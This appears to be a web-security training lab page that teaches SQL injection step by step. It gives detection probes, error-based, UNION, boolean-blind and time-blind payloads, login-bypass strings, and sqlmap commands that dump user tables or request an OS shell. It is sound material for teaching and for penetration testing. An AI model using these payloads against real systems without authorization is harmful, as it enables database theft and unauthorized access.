๐ŸŽฏ Lab Objectives

  • Identify SQL injection points in GET/POST parameters and headers
  • Exploit UNION-based injection to extract data from the database
  • Use blind boolean injection to infer data one bit at a time
  • Perform time-based blind injection when no output is visible
  • Automate database extraction with SQLmap
  • Bypass login forms using SQL injection

SQL Injection Theory

SQL injection occurs when user-supplied input is inserted directly into a SQL query without proper sanitisation. The attacker can break out of the intended query and inject their own SQL logic.

# Vulnerable PHP code example:
$id = $_GET['id'];
$query = "SELECT * FROM products WHERE id = " . $id;

# Normal request:
GET /item.php?id=5
โ†’ SELECT * FROM products WHERE id = 5

# Injected request:
GET /item.php?id=5 OR 1=1--
โ†’ SELECT * FROM products WHERE id = 5 OR 1=1--
โ†’ Returns ALL rows (1=1 is always true, -- comments out the rest)

Step 1 โ€” Detecting SQL Injection

# Test with single quote โ€” causes SQL error if vulnerable
https://target.com/item.php?id=1'
https://target.com/item.php?id=1"

# Boolean tests
https://target.com/item.php?id=1 AND 1=1   # should return normal result
https://target.com/item.php?id=1 AND 1=2   # should return empty/error

# Time-based test (if no visible output)
https://target.com/item.php?id=1; SLEEP(5)--
https://target.com/item.php?id=1' AND SLEEP(5)--

# Comment styles by database:
# MySQL:      --  or #  or /**/
# MSSQL:      --  or /**/
# Oracle:     --  or /**/
# PostgreSQL: --  or /**/ 
๐Ÿ’ก
Always URL-encode special characters when testing via browser: ' = %27, space = + or %20, # = %23. Use Burp Suite to avoid encoding issues.

Step 2 โ€” Error-Based Injection

# Force a MySQL error that leaks version info
' AND extractvalue(1,concat(0x7e,version()))--
' AND updatexml(1,concat(0x7e,version()),1)--

# MSSQL error-based
' AND 1=CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))--

Step 3 โ€” UNION-Based Injection

UNION allows you to append your own SELECT statement to the original query and see the output directly in the page.

# Step 1: Find number of columns in original query
' ORDER BY 1--   # works
' ORDER BY 2--   # works
' ORDER BY 3--   # error โ†’ 2 columns

# Alternative: NULL method
' UNION SELECT NULL--
' UNION SELECT NULL,NULL--    # if this works โ†’ 2 columns
' UNION SELECT NULL,NULL,NULL--

# Step 2: Find which column is displayed on the page
' UNION SELECT 'a',NULL--
' UNION SELECT NULL,'a'--   # if 'a' appears โ†’ column 2 is displayed

Step 4 โ€” Extracting Database Data

# Get database version
' UNION SELECT NULL,version()--           # MySQL/PostgreSQL
' UNION SELECT NULL,@@version--           # MySQL/MSSQL

# Get current database name
' UNION SELECT NULL,database()--          # MySQL
' UNION SELECT NULL,db_name()--           # MSSQL

# List all databases
' UNION SELECT NULL,schema_name FROM information_schema.schemata--

# List tables in current database
' UNION SELECT NULL,table_name FROM information_schema.tables WHERE table_schema=database()--

# List columns in a table
' UNION SELECT NULL,column_name FROM information_schema.columns WHERE table_name='users'--

# Dump users table
' UNION SELECT username,password FROM users--

# Concatenate multiple columns
' UNION SELECT NULL,concat(username,':',password) FROM users--

Step 5 โ€” Blind Boolean Injection

When the page shows no output but behaves differently based on true/false conditions.

# Confirm blind SQLi
' AND 1=1--   # page loads normally
' AND 1=2--   # page different/empty

# Extract data character by character
# Does the first char of the database name equal 'd'?
' AND SUBSTRING(database(),1,1)='d'--

# Is the ASCII value of the first char > 100?
' AND ASCII(SUBSTRING(database(),1,1))>100--

# Full password extraction (character 1 of first user's password)
' AND SUBSTRING((SELECT password FROM users LIMIT 1),1,1)='p'--

Step 6 โ€” Time-Based Blind Injection

When there's no visible difference in response โ€” only response time reveals true/false.

# MySQL: SLEEP() if condition is true
' AND IF(1=1,SLEEP(5),0)--         # 5 second delay โ†’ vulnerable
' AND IF(1=2,SLEEP(5),0)--         # no delay

# Extract data via time
' AND IF(SUBSTRING(database(),1,1)='d',SLEEP(5),0)--

# PostgreSQL
'; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--

# MSSQL
'; IF (1=1) WAITFOR DELAY '0:0:5'--

Step 7 โ€” SQLmap Automation

# Basic scan on GET parameter
sqlmap -u "http://target.com/item.php?id=1"

# With cookie-based auth
sqlmap -u "http://target.com/item.php?id=1" --cookie="session=abc123"

# POST request
sqlmap -u "http://target.com/login" --data="user=admin&pass=test"

# Specify database type
sqlmap -u "http://target.com/item.php?id=1" --dbms=mysql

# List databases
sqlmap -u "http://target.com/item.php?id=1" --dbs

# List tables in a database
sqlmap -u "http://target.com/item.php?id=1" -D targetdb --tables

# Dump a specific table
sqlmap -u "http://target.com/item.php?id=1" -D targetdb -T users --dump

# Try to get OS shell (if FILE privileges available)
sqlmap -u "http://target.com/item.php?id=1" --os-shell

# Use a Burp request file
sqlmap -r request.txt --level=5 --risk=3

Step 8 โ€” Login Bypass

# Classic OR bypass in username field
admin'--
' OR '1'='1
' OR 1=1--
admin' OR '1'='1'--

# Bypass with comment
admin'/*
' OR 1=1#

# The vulnerable query becomes:
SELECT * FROM users WHERE user='admin'--' AND pass='anything'
โ†’ Password check is commented out โ†’ logged in as admin

๐Ÿ“‹ SQL Injection Payload Reference

TypeMySQLMSSQLPostgreSQL
Comment-- or #----
Versionversion()@@versionversion()
Current DBdatabase()db_name()current_database()
SleepSLEEP(5)WAITFOR DELAY '0:0:5'pg_sleep(5)
SubstringSUBSTRING(str,1,1)SUBSTRING(str,1,1)SUBSTR(str,1,1)
Concatconcat(a,b)a+ba||b
Tablesinformation_schema.tablesinformation_schema.tablesinformation_schema.tables
โœ…
Lab Complete! You can now manually and automatically exploit SQL injection. Next: Cross-Site Scripting (XSS).
Next: XSS Lab โ†’ โ† All Labs